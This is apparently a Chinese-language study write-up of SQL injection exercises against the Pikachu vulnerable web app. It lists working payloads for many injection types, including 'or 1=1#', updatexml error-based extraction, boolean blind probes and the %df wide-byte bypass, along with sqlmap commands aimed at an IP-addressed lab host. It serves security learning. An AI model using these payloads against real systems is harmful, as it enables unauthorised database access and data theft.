3.sql注入
1.数字型注入
- 点击搜索,进行抓包
- 修改id,判断注入类型
将id改为1’ ,根据报错信息,判断注入类型是数字型
3. 查询数据库名称、版本,注入成功
2.字符型注入
SELECT 字段1,字段2,from table where username= ’ xxx’
输入1‘,根据报错信息判断是字符型注入
2.输入万能密码**'or 1=1#**
Select * From 用户表 Where UserName=xxx 'or 1=1#
万能密码解释:or是或者的意思,也就是UserName=xxx的时候可以登录,也可以是1=1的时候可以登录,要知道,1永远等于1,所以登录条件永远成立,所以永远可以登录。(#代表注释掉后面的内容)
3. 搜索型注入
select * from table where username like '%xxx% '
- 输入单引号‘ ,查看报错信息,根据报错信息判断可以注入
- 报错信息出现%,判断是搜索型注入,输入
k% ' or 1=1#
,进行查询
4.XX型注入
where username = ('lucy')
输入1’)or 1=1#
5. insert/update注入
5.1 insert
- 注册,进行抓包
- payload注入username
username=111' and updatexml(1,concat(0x7e,database(),0x7e),1) and '
这里在第二个and后使用单引号的目的是:111后的引号闭合sql语句数据前面的引号;and后的引号闭合sql语句数据最后的引号;
0x7e这个十六进制数代表符号,这个符号在xpath语法中是不存在的,因此总能报错。同理,肯定也有其他字符是XPATH语法不支持的。 ! 也是不支持的,因此也可以使用。
- 成功爆破出数据库名
5.2 update
- 点击修改个人信息
- 抓包
- payload注入sex
6.delete 注入
payload: updatexml(1,concat(0x7e,database()),1)
7.http header注入
-
admin/123456 进行登录
这里把http的头信息存到数据库里面去了,但是存进去之前没有进行转义,导致SQL注入漏洞 -
登陆时进行抓包
3.利用payload,修改头部信息
1' or updatexml(1,concat(0x7e,database()),1) or '
8.盲注(base on boolian)
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行半段或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:
基于布尔的SQL盲注-逻辑判断(优先级:2) regexp,like,ascii,left,ord,mid
基于时间的SQL盲注-延时判断(优先级:3) if,sleep 基于报错的SQL盲注-报错回显(优先级:1)
报错注入函数:floor,updatexml,extractvalue
布尔盲注往往是在不支持union查询或者回显页面不显示具体信息,只返回正常与不正常两种页面形式时进行的注入方法,通过使用and、or连接判断长度和ASCII码值的方式对数据库的信息进行判断。
name=1 正常回显
name=1’ 不报错,但提示用户名不存在
name=1’# 正常回显
判断该注入为布尔盲注,且闭合为单引号。
- payload:
kobe' and length(database())>1#
判断数据库长度:即当数据库名长度是否大于1,若大于1则为真,回显正常。
- 经过尝试,得知数据库长度为7,利用sqlmap工具爆破数据库名
sqlmap.py -u "http://124.220.31.77:8000/vul/sqli/sqli_blind_b.php?name=Tony&submit=%E6%9F%A5%E8%AF%A2" --current-db
爆破结果为pikachu
9.盲注(base on time)
利用sqlmap
"http://124.220.31.77:8000/vul/sqli/sqli_blind_t.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2#" --current-db
10.宽字节注入
在数据库中使用了宽字符集(GBK,GB2312等),除了英文都是一个字符占两字节;
MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围);
在PHP中使用addslashes函数的时候,会对单引号%27进行转义,在前边加一个反斜杠”\”,变成%5c%27;
可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字;
%5c被吃掉了,单引号由此逃逸可以用来闭合语句。
使用PHP函数**iconv(‘utf-8’,‘gbk’,$_GET[‘id’]),**也可能导致注入产生
-
输入kobe‘进行抓包
-
payload:
name=kobe%df’ or 1=1#